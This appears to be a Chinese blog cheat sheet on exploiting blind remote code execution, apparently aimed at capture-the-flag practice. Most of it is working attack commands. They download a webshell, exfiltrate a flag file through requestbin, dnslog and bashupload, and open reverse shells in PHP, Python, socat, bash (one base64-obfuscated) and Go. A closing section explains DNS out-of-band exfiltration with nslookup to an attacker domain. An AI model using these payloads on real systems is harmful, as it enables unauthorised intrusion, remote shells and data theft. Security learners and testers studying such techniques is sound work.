RCE_无回显

<aside> 💡

无回显

</aside>

写文件

**curl -o shell.php <http://xxxxxx.txt>
wget -O shell.php <http://xxxxxx.txt>**

请求带出

**curl <http://requestbin.net/r/1kiej1p1?p=`cat> /flag|base64`
curl `xxd -p /flag`.xxxxxx.dnslog.cn  #dnslog带外
curl bashupload.com -T your_file.txt #bashupload.com带外下载文件
wget --post-file ./flag [IP]:[Port]**

平台:

**<http://www.dnslog.cn/>	   //只能使用 dnslog 外带,另外很多防火墙会 ban 掉该域名。
<http://ceye.io/>	         //可以使用 http 外带和 dnslog 外带,推荐。**

<aside> 💡

反弹shell

</aside>

php

**php -r '$sock=fsockopen("ip",6666);exec("/bin/bash -i <&3 >&3 2>&3");'**

python

**python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("your-ip",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvvnp 2333
  
python3 -c "import pty;pty.spawn('/bin/bash')" #模拟终端**

socat

**socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port**

bash

**bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1"
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9tYXg2LmZ1bi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
nc [IP] [Port] -e /bin/sh
#接收
nc -lvvnp [Port]**

go

**package main

import (
    "fmt"
    "log"
    "os/exec"
)

func main() {
    cmd := exec.Command("bash", "-c", "bash -i >& /dev/tcp/IP/PORT 0>&1")
    out, err := cmd.CombinedOutput()
    if err != nil {
        fmt.Printf("combined out:\\n%s\\n", string(out))
        log.Fatalf("cmd.Run() failed with %s\\n", err)
    }
    fmt.Printf("combined out:\\n%s\\n", string(out))
}**

### 关于Pikachu RCE漏洞无回显情况下的利用方法 对于存在远程代码执行(RCE)漏洞但无法获得直接回显的情况,通常可以通过带外数据提取技术来验证命令是否成功执行以及获取命令输出。一种常见的方式是通过DNS查询来进行带外通信。 #### 使用DNS作为带外通道 当目标环境不允许直接回显时,攻击者可以构建特定的恶意输入,使得服务器端执行该输入后会向由攻击者控制的一个外部域名发起请求。这通常是通过调用`nslookup`、`ping`或其他能够触发网络活动的应用程序或函数实现。例如: ```bash nslookup $(whoami).attacker-controlled-domain.com ``` 上述命令将会尝试解析当前用户名加上指定域名为形式的一条记录。如果命令被执行,则会在攻击者的DNS日志中留下痕迹,从而间接证明了命令的成功运行[^3]。 另外,也可以考虑其他类型的带外交互方式,比如HTTP GET/POST请求等,具体取决于受控环境中可用的功能和服务。 #### 验证命令执行的方法 除了依靠带外渠道确认之外,还可以采取一些措施辅助判断命令是否被正确处理: - **文件操作**:让受害主机创建一个小文件到可访问的位置上;之后检查这个位置是否存在预期的新文件即可得知结果。 - **时间延迟注入**:设计一段脚本使它在一定时间内完成某些动作(如休眠),以此观察响应时间和页面加载行为的变化来推测后台是否有相应变动发生。 需要注意的是,在实际渗透测试过程中应当遵循合法合规的原则,并仅限于授权范围内开展此类实验性探索工作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值